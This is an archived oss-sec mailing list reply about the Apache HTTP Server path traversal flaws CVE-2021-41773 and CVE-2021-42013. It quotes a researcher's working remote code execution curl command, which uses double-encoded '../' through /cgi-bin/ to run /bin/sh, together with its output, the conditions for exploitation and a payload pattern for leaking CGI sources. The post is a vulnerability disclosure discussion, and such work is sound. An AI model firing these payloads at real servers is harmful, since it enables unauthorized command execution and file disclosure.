Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)

Related Vulnerabilities: CVE-2021-42013   CVE-2021-41773  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->

oss-sec
mailing list archives
<!--X-User-Header-End-->
<!--X-TopPNI-->

By Date

By Thread

</form>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)

<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->

From: Solar Designer &lt;solar () openwall com&gt;

Date: Fri, 8 Oct 2021 23:08:21 +0200

<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->

<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
On Fri, Oct 08, 2021 at 08:37:33PM +0200, Yann Ylavic wrote:
On Fri, Oct 8, 2021 at 8:53 AM Roman Medina-Heigl Hernandez
&lt;roman () rs-labs com&gt; wrote:

I posted RCE exploit for this (it works for both CVEs: 41773 &amp; 42013)
and some other details regarding requirements / exploitability, which
you may find useful at:

https://twitter.com/roman_soft/status/1446252280597078024

Thanks, that's fair analysis.

Yann is probably referring to the full tweet thread by Roman, not just
the one tweet that Roman posted in here.  Let me correct that:

---
Román Medina-Heigl Hernández
@roman_soft

RCE exploit both for Apache 2.4.49 (CVE-2021-41773) and 2.4.50 (CVE-2021-42013):
root@CT406:~# curl 'http://192.168.0.191/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh&amp;apos; --data 'echo 
Content-Type: text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Requirements: 1/ mod_cgi enabled (not default but easy) AND 2/ target
binary should be +x (default for /bin/sh) AND 3/ apache permissions
granted for /bin or / (not default and difficult/unrealistic)

So IMHO only "special" setups will be vulnerable to this RCE. Same
happens for the "arbitrary file read" exploits you have seen in last few
days because all of them need requirement #3

Both CVEs are indeed almost the same path-traversal vulnerability (2nd
one is the uncomplete fix for 1st one).

Path traversal only work from a mapped URI (e.g. via "Alias" or
"ScriptAlias" Apache directives). DocumentRoot only is not sufficient.

"/cgi-bin/" is mapped by default (ScriptAlias) so that's why it's being
used before the path traversal string. Besides, ScriptAlias marks as
Exec (for Apache) all the contents for the given directory (regardless
the file extensions).

So (if mod_cgi is enabled) Apache will run our target
(cgi-bin/../../../../../bin/sh) instead of just reading it.

Perhaps the more realistic (ab)use-case for this vuln could be leaking
CGI sources on a cgi-enabled web-server. But you'd need to find a
non-executable mapped URI (via Alias) and then craft a payload similar
to: aliaseddir/../../../../../usr/local/apache2/cgi-bin/cgitobeleaked

End of fun :-)
---

Alexander

<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->

<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->

By Date

By Thread

Current thread:

CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Stefan Eissing (Oct 07)

Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Roman Medina-Heigl Hernandez (Oct 07)

Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Yann Ylavic (Oct 08)

Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Solar Designer (Oct 08)
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Yann Ylavic (Oct 08)
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Solar Designer (Oct 08)
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Yann Ylavic (Oct 08)

Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Roman Medina-Heigl Hernandez (Oct 09)
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Yann Ylavic (Oct 11)
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Roman Medina-Heigl Hernandez (Oct 15)
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Yann Ylavic (Oct 15)

<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->